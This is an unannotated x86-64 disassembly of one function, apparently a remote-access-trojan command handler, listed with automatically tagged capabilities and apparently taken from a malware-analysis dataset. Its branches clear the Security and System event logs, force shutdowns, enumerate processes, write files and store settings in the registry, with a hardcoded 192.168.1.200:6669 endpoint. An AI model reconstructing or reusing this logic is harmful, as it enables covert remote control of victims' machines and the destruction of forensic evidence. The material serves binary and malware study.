Function at 0x180025790
Capabilities:
Access the windows event log
Clear windows event logs
Create thread
Delete registry value
Enumerate processes
Set registry value
Shutdown system
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov r14d, r8d
mov rdi, rdx
mov r13, rcx
mov qword [rsp + 0x58], rcx
movzx eax, byte [rdx]
cmp eax, 0xca
ja case.0x1800257f5.20
lea rdx, [0x180000000]
movzx eax, byte [rdx + rax + 0x26964]
mov ecx, dword [rdx + rax*4 + 0x26908]
add rcx, rdx
jmp rcx
cmp dword [r13 + 0x448], 0
jne case.0x1800257f5.20
mov r12d, 1
mov eax, r12d
xchg dword [r13 + 0x448], eax
mov byte [rsp + 0x40], 0xcb
cmp dword [r13 + 0x18], 0
jne case.0x1800257f5.20
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, r12d
lea rdx, [rsp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x1800257f5.20
cmp r14d, 0xa49
jne case.0x1800257f5.20
lea ecx, [r14 - 1]
call fcn.1800355bc
mov r14, rax
xor edx, edx
mov r8d, 0xa48
mov rcx, rax
call fcn.18003b0b0
mov rcx, r14
lea rdx, [rdi + 1]
mov r8d, 0xa48
call fcn.18003a960
mov rbx, qword [0x1800ff1f8]
mov r10, qword [0x1800ff200]
cmp rbx, r10
je 0x1800258c3
nop word [rax + rax]
mov r9, qword [rbx]
mov r11, qword [r9 + 0x18]
lea rax, [r11 + 4]
lea r8, [r14 + 4]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1800258b6
add rax, 2
test ecx, ecx
jne 0x1800258a2
test edx, edx
je 0x180025927
add rbx, 8
cmp rbx, r10
jne 0x180025890
mov ecx, 0xa49
call fcn.1800355f8
mov rbx, rax
mov byte [rax], 5
mov r12d, 1
mov dword [r14 + 0x204], r12d
lea rcx, [rax + 1]
mov rdx, r14
mov r8d, 0xa48
call fcn.18003a960
cmp dword [r13 + 0x18], 0
jne 0x18002590d
mov rcx, qword [r13 + 8]
mov r9, qword [rcx]
mov r8d, 0xa49
mov rdx, rbx
call qword [r9 + reloc.WS2_32.dll_recv]
mov edx, 0xa48
mov rcx, r14
call fcn.180035588
mov rcx, rbx
call fcn.180035588
jmp case.0x1800257f5.20
lea r8, [r14 + 0x20c]
lea rax, [r11 + 0x20c]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180025954
add rax, 2
test ecx, ecx
jne 0x180025940
xor esi, esi
test edx, edx
je 0x1800259d7
test r11, r11
je 0x18002597d
mov edx, 0xa48
mov rcx, r11
call fcn.180035588
mov rax, qword [rbx]
mov qword [rax + 0x18], rsi
mov r9, qword [rbx]
mov r10, qword [0x1800ff200]
mov rcx, qword [r9 + 0x20]
test rcx, rcx
je 0x18002599c
call fcn.180035588
mov rax, qword [rbx]
mov qword [rax + 0x20], rsi
mov r9, qword [rbx]
mov r10, qword [0x1800ff200]
test r9, r9
je 0x1800259b8
mov edx, gethostbyname
mov rcx, r9
call fcn.180035588
mov qword [rbx], rsi
mov r10, qword [0x1800ff200]
lea rdx, [rbx + 8]
sub r10, rdx
mov r8, r10
mov rcx, rbx
call fcn.18003a960
sub qword [0x1800ff200], 8
jmp 0x1800258c3
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
lea r8, [0x180024de0]
xor edx, edx
xor ecx, ecx
call fcn.180042e0c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xa48
mov rcx, r14
call fcn.180035588
jmp case.0x1800257f5.20
mov ecx, 0xa48
call fcn.1800355bc
mov r14, rax
xor edx, edx
mov r8d, 0xa48
mov rcx, rax
call fcn.18003b0b0
mov rcx, r14
lea rdx, [rdi + 1]
mov r8d, 0xa48
call fcn.18003a960
movsxd rcx, dword [r14 + 0xa44]
call fcn.1800355f8
mov rsi, rax
movsxd r8, dword [r14 + 0xa44]
lea rdx, [rdi + 0xa49]
mov rcx, rax
call fcn.18003a960
movsxd rcx, dword [r14 + 0x208]
call fcn.1800355f8
mov rbx, rax
mov ecx, dword [r14 + 0x208]
mov dword [rsp + 0x50], ecx
mov r9d, dword [r14 + 0xa44]
mov r8, rsi
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.1800364a0
mov rcx, rsi
test eax, eax
jne 0x180025d2c
call fcn.180035588
mov ecx, gethostbyname
call fcn.1800355bc
mov rdi, rax
mov qword [rsp + 0x48], rax
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], rbx
lea rcx, [r13 + 0x30]
mov qword [rax + 8], rcx
mov ecx, dword [r13 + 0x440]
mov dword [rax + 0x10], ecx
mov ecx, dword [r13 + 0x444]
mov dword [rax + 0x14], ecx
mov ecx, dword [r13 + 0x44c]
mov dword [rax + 0x28], ecx
mov qword [rax], r13
mov rdx, qword [0x1800ff200]
cmp rdx, qword [0x1800ff208]
je 0x180025b00
mov qword [rdx], rax
add qword [0x1800ff200], 8
jmp 0x180025b0a
lea r8, [rsp + 0x48]
call fcn.1800287c0
mov r12d, dword [r14 + 0x208]
add r12d, 0xa78
movsxd rcx, r12d
call fcn.1800355f8
mov r15, rax
mov rcx, rax
mov rdx, r14
mov r8d, 0xa48
call fcn.18003a960
movups xmm0, xmmword [rdi]
movups xmmword [r15 + 0xa48], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [r15 + 0xa58], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [r15 + 0xa68], xmm0
movsxd r8, dword [r14 + 0x208]
lea rcx, [r15 + 0xa78]
mov rdx, rbx
call fcn.18003a960
lea r8, [rsp + 0x48]
lea rdx, str.Console1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
xor esi, esi
test eax, eax
jne 0x180025bf4
mov ecx, 0x1fe
call fcn.1800355f8
mov rbx, rax
lea rdx, [r14 + 4]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call fcn.18000d3c0
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r15
lea r9d, [rsi + 3]
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call fcn.180035588
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r15
call fcn.180035588
mov r9, rdi
lea r8, [0x180024de0]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call fcn.180042e0c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x1800257f5.20
xor esi, esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], sil
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x50]
call fcn.180026c50
mov rdi, rax
movsxd rsi, dword [rsp + 0x50]
test esi, esi
jne 0x180025ceb
mov ecx, 0x200
call fcn.1800355bc
mov rbx, rax
mov qword [rsp + 0x48], rax
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0x1ff
call fcn.18003b0b0
mov byte [rbx], 1
lea rcx, [rbx + 2]
lea rax, [0x180075e60]
mov qword [rsp + 0x20], rax
lea r9, [0x180078ec8]
lea r8, str._s__s_n
mov edx, 0xff
call fcn.180003740
cmp dword [r13 + 0x18], esi
jne 0x180025cd9
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x200
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov edx, 0x200
mov rcx, rbx
call fcn.180035588
jmp case.0x1800257f5.20
lea r14d, [rsi + 1]
movsxd rcx, r14d
call fcn.1800355f8
mov rbx, rax
mov byte [rax], 3
mov r8, rsi
lea rcx, [rax + 1]
mov rdx, rdi
call fcn.18003a960
cmp dword [r13 + 0x18], 0
jne 0x180025d24
mov rcx, qword [r13 + 8]
mov r9, qword [rcx]
mov r8d, r14d
mov rdx, rbx
call qword [r9 + reloc.WS2_32.dll_recv]
test rdi, rdi
je 0x180025d31
mov rcx, rdi
call fcn.180035588
mov rcx, rbx
call fcn.180035588
jmp case.0x1800257f5.20
mov rax, rdi
lea rcx, [rbp - 0x80]
mov edx, 5
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180025d50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
mov rax, qword [rax + 0x50]
mov qword [rcx + 0x50], rax
mov r8d, 0x2d0
lea rcx, [rbp + 0x260]
call fcn.18003b0b0
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rsi + 1]
lea rcx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je case.0x1800257f5.20
lea r8d, [r14 - 0x2d8]
lea rdx, [rdi + 0x2d8]
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.0x1800257f5.20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x260]
test eax, eax
je 0x180025e7c
lea r9, [rbp - 0x78]
lea r8, [rbp + 0x190]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x180025e89
lea rdx, [rbp + 0x190]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rbp - 0x7c]
test eax, eax
je 0x180025ead
cmp eax, 1
jne case.0x1800257f5.20
xor r8d, r8d
lea rdx, [rbp + 0x260]
call fcn.1800274e0
jmp case.0x1800257f5.20
mov r8d, 5
lea rdx, [rbp + 0x260]
call fcn.1800274e0
jmp case.0x1800257f5.20
xor esi, esi
mov dword [rsp + 0x48], esi
lea r9, [rdi + 1]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x180027ac0]
jmp 0x180025c16
movzx ecx, byte [rdi + 1]
test ecx, ecx
je 0x180025f0a
cmp ecx, 1
jne case.0x1800257f5.20
lea r8, [rdi + 2]
lea rdx, str.REMARK
call fcn.180027a00
jmp case.0x1800257f5.20
lea r8, [rdi + 2]
lea rdx, [0x180077398]
call fcn.180027a00
jmp case.0x1800257f5.20
xor esi, esi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], si
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180025fb4
mov ecx, 0x200
call fcn.1800355bc
mov rbx, rax
mov qword [rsp + 0x48], rax
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0x1ff
call fcn.18003b0b0
mov byte [rbx], 1
lea rcx, [rbx + 2]
lea r8, [0x180078ff0]
mov edx, 0xff
call fcn.180042c78
cmp dword [r13 + 0x18], esi
jne 0x180025fa2
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x200
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov edx, 0x200
mov rcx, rbx
call fcn.180035588
jmp 0x180026050
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x264]
call fcn.18003b0b0
mov dword [rbp + 0x260], 0x238
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180026050
nop word [rax + rax]
lea rax, [rbp + 0x28c]
lea r8, [rdi + 1]
sub r8, rax
nop
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x180026014
add rax, 2
test ecx, ecx
jne 0x180026000
test edx, edx
je 0x18002602e
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180025ff0
jmp 0x180026050
mov byte [rsp + 0x40], 2
cmp dword [r13 + 0x18], 0
jne 0x180026050
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
nop
jmp case.0x1800257f5.20
mov byte [rsp + 0x40], reloc.WS2_32.dll_send
cmp dword [r13 + 0x18], 0
jne case.0x1800257f5.20
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rsp + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
jmp case.0x1800257f5.20
mov ecx, dword [rdi + 1]
mov eax, dword [rdi + 5]
xor esi, esi
mov dword [rsp + 0x50], esi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], sil
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x50]
call fcn.180026c50
mov rsi, rax
movsxd rbx, dword [rsp + 0x50]
lea r14d, [rbx + 5]
movsxd rcx, r14d
call fcn.1800355f8
mov rdi, rax
mov byte [rax], reloc.WS2_32.dll_send
mov dword [rax + 1], ebx
mov r8, rbx
lea rcx, [rax + 5]
mov rdx, rsi
call fcn.18003a960
cmp dword [r13 + 0x18], 0
jne 0x1800260fd
mov rcx, qword [r13 + 8]
mov r9, qword [rcx]
mov r8d, r14d
mov rdx, rdi
call qword [r9 + reloc.WS2_32.dll_recv]
test rsi, rsi
je 0x18002610a
mov rcx, rsi
call fcn.180035588
mov rcx, rdi
call fcn.180035588
jmp case.0x1800257f5.20
lea rax, [0x180078f08]
mov qword [rsp + 0x60], rax
lea rax, str.Security
mov qword [rsp + 0x68], rax
lea rax, str.System
mov qword [rsp + 0x70], rax
xor esi, esi
nop dword [rax]
mov rdx, qword [rsp + rsi*8 + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov rbx, rax
test rax, rax
je 0x180026169
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc rsi
cmp rsi, 3
jl 0x180026140
jmp case.0x1800257f5.20
mov edx, 1
call fcn.18000ee90
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.18000ee90
jmp case.0x1800257f5.20
mov edx, 1
call fcn.18000ee90
xor edx, edx
lea ecx, [rdx + 6]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.18000ee90
jmp case.0x1800257f5.20
mov edx, 1
call fcn.18000ee90
xor edx, edx
lea ecx, [rdx + 5]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.18000ee90
jmp case.0x1800257f5.20
cmp dword [r13 + 0x44c], 0
jne case.0x1800257f5.20
xor esi, esi
mov dword [r13 + 0x44c], esi
mov ecx, 0x200
call fcn.1800355bc
mov rbx, rax
mov qword [rsp + 0x48], rax
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0x1ff
call fcn.18003b0b0
mov byte [rbx], 1
lea rcx, [rbx + 2]
lea r8, [0x180078f58]
mov edx, 0xff
call fcn.180042c78
cmp dword [r13 + 0x18], esi
jne 0x180026246
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x200
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov edx, 0x200
mov rcx, rbx
call fcn.180035588
jmp case.0x1800257f5.20
mov ecx, 0x7d2
call fcn.1800355bc
mov rbx, rax
mov r8, r14
mov rdx, rdi
mov rcx, rax
call fcn.18003a960
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rdx, str.IpDate
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
lea eax, [r14 - 1]
lea rdi, [rbx + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
lea rdx, str.IpDate
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0x200
test eax, eax
je 0x18002634f
call fcn.1800355bc
mov rbx, rax
mov qword [rsp + 0x58], rax
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0x1ff
call fcn.18003b0b0
mov byte [rbx], 1
lea rcx, [rbx + 2]
lea r8, [0x180078fb0]
mov edx, 0xff
call fcn.180042c78
cmp dword [r13 + 0x18], 0
jne 0x180026332
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x200
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov edx, 0x200
mov rcx, rbx
call fcn.180035588
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.0x1800257f5.20
call fcn.1800355bc
mov rbx, rax
mov qword [rsp + 0x50], rax
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0x1ff
call fcn.18003b0b0
mov byte [rbx], 1
lea rcx, [rbx + 2]
lea r8, [0x180078f98]
mov edx, 0xff
call fcn.180042c78
cmp dword [r13 + 0x18], 0
jne 0x1800263a0
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
mov r8d, 0x200
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
nop
mov edx, 0x200
mov rcx, rbx
call fcn.180035588
lea rcx, [0x1800f7b7e]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
movsxd r8, eax
xor edx, edx
lea rcx, [0x1800f7b7e]
call fcn.18003b0b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea r12, [0x180078e90]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
xor esi, esi
mov r9d, esi
mov edx, esi
test ebx, ebx
jle 0x180026478
nop dword [rax]
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x18002642b
nop dword [rax + rax]
lea rcx, [rdi + rdx*2]
movzx eax, word [r12 + r8*2]
cmp word [rcx + r8*2], ax
jne 0x18002642b
inc r10d
inc r8
cmp r8, r15
jl 0x180026410
cmp r10d, r15d
jne 0x180026452
add r9d, r15d
add rdx, r15
movsxd rax, r9d
cmp rdx, rbx
jge 0x180026452
nop
cmp word [rdi + rdx*2], 0x7c
je 0x18002645f
inc r9d
inc rdx
cmp rdx, rbx
jl 0x180026440
inc r9d
inc rdx
cmp rdx, rbx
jge 0x180026478
jmp 0x180026400
sub r9d, eax
add r9d, r9d
movsxd r8, r9d
lea rdx, [rdi + rax*2]
lea rcx, [0x1800f7b7e]
call fcn.18003a960
lea rcx, [0x1800f7d7c]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
movsxd r8, eax
xor edx, edx
lea rcx, [0x1800f7d7c]
call fcn.18003b0b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea r12, [0x180078ec0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
mov r9d, esi
mov rdx, rsi
test ebx, ebx
jle 0x180026548
nop word [rax + rax]
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x1800264fb
nop dword [rax + rax]
lea rcx, [rdi + rdx*2]
movzx eax, word [r12 + r8*2]
cmp word [rcx + r8*2], ax
jne 0x1800264fb
inc r10d
inc r8
cmp r8, r15
jl 0x1800264e0
cmp r10d, r15d
jne 0x180026522
add r9d, r15d
add rdx, r15
movsxd rax, r9d
cmp rdx, rbx
jge 0x180026522
nop
cmp word [rdi + rdx*2], 0x7c
je 0x18002652f
inc r9d
inc rdx
cmp rdx, rbx
jl 0x180026510
inc r9d
inc rdx
cmp rdx, rbx
jge 0x180026548
jmp 0x1800264d0
sub r9d, eax
add r9d, r9d
movsxd r8, r9d
lea rdx, [rdi + rax*2]
lea rcx, [0x1800f7d7c]
call fcn.18003a960
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea rcx, [0x180078eb8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
mov r9d, esi
mov rdx, rsi
mov r11, rbx
mov r12d, 1
test ebx, ebx
jle 0x180026601
nop dword [rax + rax]
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x1800265c0
lea rbx, [rdx + rdx]
lea r13, [0x180078eb8]
nop word [rax + rax]
lea rcx, [rbx + r8*2]
movzx eax, word [r13 + r8*2]
cmp word [rcx + rdi], ax
jne 0x1800265bb
inc r10d
inc r8
cmp r8, r15
jl 0x1800265a0
mov r13, qword [rsp + 0x58]
cmp r10d, r15d
jne 0x1800265e2
add r9d, r15d
add rdx, r15
cmp rdx, r11
jge 0x1800265e2
cmp word [rdi + rdx*2], 0x7c
je 0x1800265ef
inc r9d
inc rdx
cmp rdx, r11
jl 0x1800265d0
inc r9d
inc rdx
cmp rdx, r11
jge 0x180026601
jmp 0x180026580
movsxd rax, r9d
cmp word [rdi + rax*2 - 2], 0x31
jne 0x180026601
mov dword [0x1800f7db8], r12d
lea rcx, str.192.168.1.200
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
movsxd r8, eax
xor edx, edx
lea rcx, str.192.168.1.200
call fcn.18003b0b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea rcx, [0x180078fd0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
mov r9d, esi
mov rdx, rsi
mov r11, rbx
test ebx, ebx
jle 0x1800266db
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x180026690
lea rbx, [rdx + rdx]
lea r13, [0x180078fd0]
nop dword [rax]
lea rcx, [rbx + r8*2]
movzx eax, word [r13 + r8*2]
cmp word [rcx + rdi], ax
jne 0x18002668b
inc r10d
inc r8
cmp r8, r15
jl 0x180026670
mov r13, qword [rsp + 0x58]
cmp r10d, r15d
jne 0x1800266b5
add r9d, r15d
add rdx, r15
movsxd rax, r9d
cmp rdx, r11
jge 0x1800266b5
cmp word [rdi + rdx*2], 0x7c
je 0x1800266c2
inc r9d
inc rdx
cmp rdx, r11
jl 0x1800266a3
inc r9d
inc rdx
cmp rdx, r11
jge 0x1800266db
jmp 0x180026653
sub r9d, eax
add r9d, r9d
movsxd r8, r9d
lea rdx, [rdi + rax*2]
lea rcx, str.192.168.1.200
call fcn.18003a960
lea rcx, str.6669
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [rax*2 + 2]
movsxd r8, eax
xor edx, edx
lea rcx, str.6669
call fcn.18003b0b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea rcx, [0x180078fc8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
mov r9d, esi
mov rdx, rsi
mov r11, rbx
test ebx, ebx
jle 0x1800267bb
nop dword [rax]
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x180026770
lea rbx, [rdx + rdx]
lea r13, [0x180078fc8]
nop word [rax + rax]
lea rcx, [rbx + r8*2]
movzx eax, word [r13 + r8*2]
cmp word [rcx + rdi], ax
jne 0x18002676b
inc r10d
inc r8
cmp r8, r15
jl 0x180026750
mov r13, qword [rsp + 0x58]
cmp r10d, r15d
jne 0x180026795
add r9d, r15d
add rdx, r15
movsxd rax, r9d
cmp rdx, r11
jge 0x180026795
cmp word [rdi + rdx*2], 0x7c
je 0x1800267a2
inc r9d
inc rdx
cmp rdx, r11
jl 0x180026783
inc r9d
inc rdx
cmp rdx, r11
jge 0x1800267bb
jmp 0x180026730
sub r9d, eax
add r9d, r9d
movsxd r8, r9d
lea rdx, [rdi + rax*2]
lea rcx, str.6669
call fcn.18003a960
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea rcx, [0x180078fd8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r15, eax
mov r9d, esi
mov rdx, rsi
mov r11, rbx
test ebx, ebx
jle 0x180026868
lea rbx, [0x180078fd8]
nop
mov r10d, esi
mov r8, rsi
test r15d, r15d
jle 0x18002681a
nop dword [rax + rax]
lea rcx, [rdi + r8*2]
movzx eax, word [rbx + r8*2]
cmp word [rcx + rdx*2], ax
jne 0x18002681a
inc r10d
inc r8
cmp r8, r15
jl 0x180026800
cmp r10d, r15d
jne 0x180026842
add r9d, r15d
add rdx, r15
cmp rdx, r11
jge 0x180026842
nop word [rax + rax]
cmp word [rdi + rdx*2], 0x7c
je 0x18002684f
inc r9d
inc rdx
cmp rdx, r11
jl 0x180026830
inc r9d
inc rdx
cmp rdx, r11
jge 0x180026868
jmp 0x1800267f0
movsxd rax, r9d
mov ecx, dword [0x1800f7ff8]
cmp word [rdi + rax*2 - 2], 0x31
cmove ecx, r12d
mov dword [0x1800f7ff8], ecx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r13 + 8]
mov rax, qword [rcx]
call qword [rax]
jmp case.0x1800257f5.20
mov ecx, 0x7d2
call fcn.1800355bc
mov rbx, rax
cmp r14d, 0x7d2
jne case.0x1800257f5.20
mov rcx, rax
mov rdx, rdi
mov r8d, r14d
call fcn.18003a960
xor esi, esi
mov r9, rbx
lea r8, [0x180024fc0]
jmp 0x180025c11
cmp byte [rdi + 1], 0
jne case.0x1800257f5.3
xor edx, edx
jmp 0x1800268ca
mov dl, 1
mov rcx, r13
call fcn.180026a30
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.180034f80
mov rbx, qword [rsp + 0x698]
add rsp, 0x640
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180024dd0
int3
call fcn.18000edf0
int3